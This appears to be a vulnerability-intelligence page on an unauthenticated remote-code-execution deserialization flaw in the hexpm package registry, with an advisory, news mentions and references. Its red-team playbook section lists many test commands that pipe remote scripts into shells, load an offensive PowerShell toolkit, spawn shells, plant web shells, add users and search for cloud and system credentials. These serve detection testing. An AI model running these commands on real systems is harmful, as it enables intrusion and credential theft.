CVE-2026-129514
Overview
This vulnerability is a deserialization of untrusted data flaw rooted in the hexpm application's handling of Erlang external term format request bodies. The hexpm_web ErlangFormat.decode/1 function uses Plug.Crypto.non_executable_binary_to_term/2 to decode request bodies, which permits maps containing a __struct__ key. This allows crafted serialized data to influence Elixir protocol dispatch, ultimately enabling execution of arbitrary function calls within the application context before authentication occurs.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.
Impact
An unauthenticated remote attacker can exploit this flaw to execute arbitrary operating system commands on the server hosting hexpm. No user interaction or credentials are required, as the vulnerable parser processes all POST requests before authentication. This leads to full system compromise, potentially exposing sensitive data, disrupting service availability, and enabling lateral movement within the infrastructure.
Solution
Users should apply the patch introduced in commit 379b0a29bcc95164249f38ad7d772a37a8ff9533 to hexpm as detailed in the vendor advisory GHSA-9pmm-hf4r-27pg available at the official GitHub repository. The advisory provides comprehensive instructions for upgrading affected versions from 2016-02-23 through 2026-11-23. Refer to the hexpm security incident blog post for additional context and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
hoarseprairie/CVE-2026-129514-Poc
Technical analysis of CVE-2026-129514 (hexpm Erlang deserialization). PoC skeleton provided for patch verification. For ...
|
hoarseprairie | 0 | 0 | 2026-11-24 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 17 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (41)
33 mentions from 17 sources in the last 7 days BuzzFactor 87 / 100
-
news rescana.com 2026-11-26 08:42 UTCHex.pm Elixir Registry Exploited via CVE-2026-129514: Reset Your Password and 2FA Now - RescanaOpen source
-
social bsky.app @packetstorm.bsky.social 2026-11-25 21:03 UTCHex.pm RCE (CVE-2026-129514) Exploited in Server Attack https://packetstorm.news/news/view/48999 #newsOpen source
-
social bsky.app @elcompilado.com 2026-11-25 17:00 UTCPublican el CVE del RCE no autenticado que comprometió el registry de Hex.pm: CVSS 10,0, y hay que rotar credenciales de todo el ecosistema ElixirOpen source
-
social social.raytec.co @techbot 2026-11-25 15:01 UTCHackers Exploit Critical Hex.pm Vulnerability to Execute Commands on Six Servers A critical Hex.pm vulnerability was exploited on November 23, 2026, allowing attackers to execute operating system commands on six web servers. The flaw, trac…Open source
-
social bsky.app @yonle.waltuh.cyou.ap.brid.gy 2026-11-25 14:40 UTC=== Information === Class: **Information** Actions needs to be taken: **None** , except for Hex.pm package authors. **Six Hex.pm package registry servers were recently compromised through a CVSS 10.0 RCE vulnerability (CVE-2026-129514).**…Open source
-
social infosec.exchange @117202824925377048 2026-11-25 14:12 UTCHex.pm zero-day: CVE-2026-129514 (10.0 perfect) Unauthenticated remote code execution through struct values in Erlang term request bodies This vulnerability was actively exploited against the hex.pm service on 2026-11-23. https:// github.c…Open source
-
news cybersecuritynews.com 2026-11-25 14:08 UTCHackers Exploit Critical Hex.pm Vulnerability to Execute Commands on Six Servers - CyberSecurityNewsOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-25 13:54 UTCHexpm Production Servers Compromised Through CVE-2026-129514, Attackers Executed Commands on Six Systems Introduction: Critical Security Incident Hits Hex.pm Infrastructure The Hex.pm package registry, a central component of the Elixir and…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-25 12:48 UTCAttackers exploited CVE-2026-129514 to run commands on six Hex.pm production servers. The registry was patched within minutes; checks found no package tampering, but maintainers cannot rule out access to account data or private packages.Open source
-
advisory socradar.io 2026-11-25 12:27 UTCHex.pm RCE (CVE-2026-129514) Exploited in Server Attack - SOCRadarOpen source
-
news gbhackers.com 2026-11-25 12:19 UTCHackers Exploit Critical Hex.pm Vulnerability to Execute Malicious Commands on Servers - GBHackers NewsOpen source
-
news secnews.gr 2026-11-25 12:15 UTCCVE-2026-129514: Hackers exploited vulnerability in Hex.pm - SecNews.grOpen source
-
social bsky.app @chuiho.net 2026-11-25 12:12 UTC[警戒]Hex.pm CVE-2026-129514 で本番サーバー6台に侵入 Elixir・Erlang のパッケージ配布元 Hex.pm で、CVSS 10.0 の欠陥 CVE-2026-129514 が悪用され6台でコマンドが実行された。改ざんは未確認。利用者の点検手順を整理する。 https://chuiho.net/posts/hexpm-cve-2026-129514-server-compromise/ #Hexpm #ElixirOpen source
-
advisory socradar.io 2026-11-25 11:40 UTCShinyHunters Claims Return Using Revoked PGP Keys - SOCRadarOpen source
-
news cyberpress.org 2026-11-25 11:18 UTCHackers Breach Hex.pm Package Registry, Potentially Exposing Password Hashes and 2FA Secrets - Cyber PressOpen source
-
advisory socradar.io 2026-11-25 11:06 UTCCVE-2026-123903: Critical vCenter Auth Bypass Patched - SOCRadarOpen source
-
social bsky.app @unnchain.bsky.social 2026-11-25 11:04 UTCElixir/Erlang/Gleamでhex.pmを使っている人へ 11/23、hex.pm本体が未認証RCE(CVE-2026-129514、CVSS 10)で攻撃された。公式は改ざんの形跡なしとしつつ、メール・パスワードハッシュ・2FAシークレット等の読み取りは否定できないと発表。 ・パスワード変更 ・2FA再設定(新しいリカバリーコードを保存) ・新クライアント公開まではミラー不可、repo.hex.pmのみ ・Hexを名乗るメールのリンクに注意 https://h…Open source
-
social mastodon.social @hacksgr 2026-11-25 09:57 UTCPackage registry Hex.pm suffered a security incident on Monday when an unauthenticated vulnerability (CVE-2026-129514) present in the codebase since 2016 was used to execute OS commands across six production servers. Load balancer logs rec…Open source
-
social bsky.app @thedailytechfeed.com 2026-11-25 09:20 UTCCVE-2026-129514 lets attackers run OS commands on Hex.pm servers—reset your password & 2FA now. #Security #Hexpm #RCE #SupplyChain #Elixir #Vulnerability https://thedailytechfeed.com/massive-cve-2026-129514-rce-affects-hex-pm-servers/Open source
-
news thehackernews.com 2026-11-25 09:06 UTCHackers Exploited CVSS 10.0 Hex.pm RCE Flaw to Compromise 6 Package Registry Servers - The Hacker NewsOpen source
-
social bsky.app @cve-ja.com 2026-11-25 02:22 UTC🔴 至急|hexpm(PoC 公開) 認証なしで、細工した要求を送るだけでOSのコマンドを実行されるおそれ。 ・PoC:GitHub で1件公開(未検証) ・修正:2026-11-23 以降 CVE-2026-129514|CVSS 10.0 #hexpm #脆弱性Open source
-
code github.com hoarseprairie 2026-11-24 20:34 UTChoarseprairie/CVE-2026-129514-PocOpen source
-
social bsky.app @stemshop.bsky.social 2026-11-24 20:07 UTC🚨 CVE-2026-129514 — CVSS 10 CRITICAL Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in he... 🔎 https://stemshop.top/cve/CVE-2026-129514 #CVE #CyberSecurity #InfoSecOpen source
-
social infosec.exchange @116797276219291526 2026-11-24 18:34 UTCAttackers abused the CVSS 10.0 hexpm RCE vulnerability (CVE-2026-129514) in hex.pm active exploitation. Reset 2FA and update self-hosted hexpm now. # hexpm # Elixir # Erlang # Cybersecurity # CVE2026129514 # RCE # ZeroDay https:// security…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-24 18:34 UTCAttackers abused the CVSS 10.0 hexpm RCE vulnerability (CVE-2026-129514) in hex.pm active exploitation. Reset 2FA and update self-hosted hexpm now. #hexpm #Elixir #Erlang #Cybersecurity #CVE2026129514 #RCE #ZeroDayOpen source
-
news cyberkendra.com 2026-11-24 18:20 UTCHex.pm Breach: CVE-2026-129514 Exploited, Reset Your 2FA - Cyber KendraOpen source
-
social bsky.app @alienrick.xyz 2026-11-24 16:39 UTCLogged everybody out. Yeah, that tracks. hex.pm ate remote commands November 23, Critical CVE-2026-129514, sixty-nine hits, six servers. *buuurp* Twenty-minute patch. Packages look clean. Emails, password hashes, 2FA secrets, still maybe.…Open source
-
social infosec.exchange @cve 2026-11-24 15:12 UTCCVE-2026-133555 Code execution via the :log option of forged DBConnection.Stream structs in db_connection Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in elixir-ecto db_connection allows…Open source
-
social infosec.exchange @cve 2026-11-24 15:07 UTCCVE-2026-129514 Unauthenticated remote code execution through struct values in Erlang term request bodies Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauth…Open source
-
social bsky.app @stackflag.bsky.social 2026-11-24 15:00 UTCCVE-2026-129514 - hexpm The hexpm website can run operating‑system commands when it receives a specially crafted request body in the ‘application/vnd.hex+erlang’ format. An attacker does not need to log in; the… Too many irrelevant or conf…Open source
-
social bsky.app @aiuto-ch.bsky.social 2026-11-24 14:32 UTCCVE Radar | CVE-2026-129514 | CVSS 10.0 Critical Hexpm Erlang Deserialization Vulnerability CVE-2026-129514 is a critical deserialization-of-untrusted-data vulnerability in Hexpm’s application/vnd.hex+erlang… Full analysis: https://t.me/ai…Open source
-
advisory socradar.io 2026-11-24 14:21 UTCScreenConnect Flaw CVE-2026-84869 Exploited - SOCRadarOpen source
-
advisory socradar.io 2026-11-20 11:38 UTCphpAfterShell (CVE-2026-126714) Slips Past PHP2Shell Patch - SOCRadarOpen source
-
advisory socradar.io 2026-10-21 07:00 UTCPHP2Shell (CVE-2026-109618 & CVE-2026-109619): Critical PHP RCE Flaws, Affected Versions, and How to Fix Them - SOCRadarOpen source
-
advisory socradar.io 2026-09-03 07:00 UTCJFrog Artifactory CVE-2026-82329 Exploited - SOCRadarOpen source
-
advisory socradar.io 2026-07-30 07:00 UTCCritical VMware vCenter and ESX Flaws Fixed - SOCRadarOpen source
-
advisory socradar.io 2026-07-22 07:00 UTCCVE-2026-50522 PoC Fuels SharePoint Attacks - SOCRadarOpen source
-
advisory socradar.io 2026-07-07 07:00 UTCBeyondTrust Fixes RS/PRA CVE-2026-40138 and More - SOCRadarOpen source
-
advisory socradar.io 2026-04-21 07:00 UTCCVE-2026-38526 in Krayin CRM Enables RCE - SOCRadarOpen source
-
advisory socradar.io 2026-03-23 07:00 UTCAstraZeneca Data Breach: What You Need to Know - SOCRadarOpen source
-
advisory socradar.io 2025-06-10 07:00 UTCCVE-2025-49113: Critical Roundcube Flaw RCE Exploitation - SOCRadarOpen source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-129514 |
| github.com |
GitHub CVE
vendor-advisory
related
|
https://github.com/hexpm/hexpm/security/advisories/GHSA-9pmm-hf4r-27pg |
| cna.erlef.org |
GitHub CVE
related
|
https://cna.erlef.org/cves/CVE-2026-129514.html |
| osv.dev |
GitHub CVE
related
|
https://osv.dev/vulnerability/EEF-CVE-2026-129514 |
| hex.pm |
GitHub CVE
technical-description
|
https://hex.pm/blog/security-incident-on-hexpm |
| github.com |
GitHub CVE
related
|
https://github.com/hexpm/hexpm/commit/ab1bbcef7cc8395d1056d3b1aa6a174353492d59 |
| github.com |
GitHub CVE
patch
|
https://github.com/hexpm/hexpm/commit/379b0a29bcc95164249f38ad7d772a37a8ff9533 |